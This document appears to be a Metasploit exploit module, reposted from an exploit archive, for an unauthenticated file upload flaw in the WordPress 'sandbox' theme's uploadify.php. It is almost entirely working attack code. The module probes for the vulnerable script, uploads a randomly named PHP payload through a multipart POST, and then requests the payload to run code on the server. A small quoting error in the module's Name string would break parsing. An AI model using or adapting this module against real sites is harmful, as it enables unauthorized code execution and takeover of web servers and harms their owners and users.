Wordpress theme sandbox Arbitrary File Upload Vulnerability (msf)

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##
# This Exploit must be use in Metasploit Framework
# http://metasploit.com/framework/
# This module created by The Black Devils
##
 
require 'msf/core'
require 'msf/core/exploit/php_exe'
 
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
 
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
 
def initialize(info = {})
super(update_info(info,
'Name'           => ' Wordpress theme sandbox Component 'uploadify.php' Arbitrary File Upload Vulnerability',
'Description'    => %q{
This module exploits a vulnerability found in Wordpress theme sandbox
By abusing the uploadify.php file, a malicious user can upload a file to a
temp directory without authentication, which results in arbitrary code execution.
},
'Author'         =>
[
'The Black Devils', # initial discovery
],
'License'        => MSF_LICENSE,
'References'     =>
[
[ 'OSVDB', '20228' ],
 
],
'Payload'        =>
{
'BadChars' => "\x00",
},
'Platform'       => 'php',
'Arch'           => ARCH_PHP,
'Targets'        =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
],
'DefaultTarget'  => 0,
'DisclosureDate' => 'Mar 26 2012'))
 
register_options(
[
OptString.new('TARGETURI', [true, 'The full URI path to wordpress', '/wordpress'])
], self.class)
end
 
def check
uri =  target_uri.path
uri << '/' if uri[-1,1] != '/'
 
res = send_request_cgi({
'method' => 'GET',
'uri'    => "#{uri}wp-content/themes/sandbox/js/uploadify/uploadify.php"
})
 
if not res or res.code != 200
return Exploit::CheckCode::Unknown
end
 
return Exploit::CheckCode::Appears
end
 
def exploit
uri =  target_uri.path
uri << '/' if uri[-1,1] != '/'
 
peer = "#{rhost}:#{rport}"
 
@payload_name = "#{rand_text_alpha(5)}.php"
php_payload = get_write_exec_payload(:unlink_self=>true)
 
data = Rex::MIME::Message.new
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
data.add_part("#{uri}wp-content/themes/sandbox/js/uploadify", nil, nil, "form-data; name=\"folder\"")
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
 
print_status("#{peer} - Uploading payload #{@payload_name}")
res = send_request_cgi({
'method' => 'POST',
'uri'    => "#{uri}wp-content/themes/sandbox/js/uploadify/uploadify.php",
'ctype'  => "multipart/form-data; boundary=#{data.bound}",
'data'   => post_data
})
 
if not res or res.code != 200 or res.body !~ /#{@payload_name}/
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
end
 
upload_uri = res.body
 
print_status("#{peer} - Executing payload #{@payload_name}")
res = send_request_raw({
'uri'    => upload_uri,
'method' => 'GET'
})
end
end

#  0day.today [2018-03-28]  #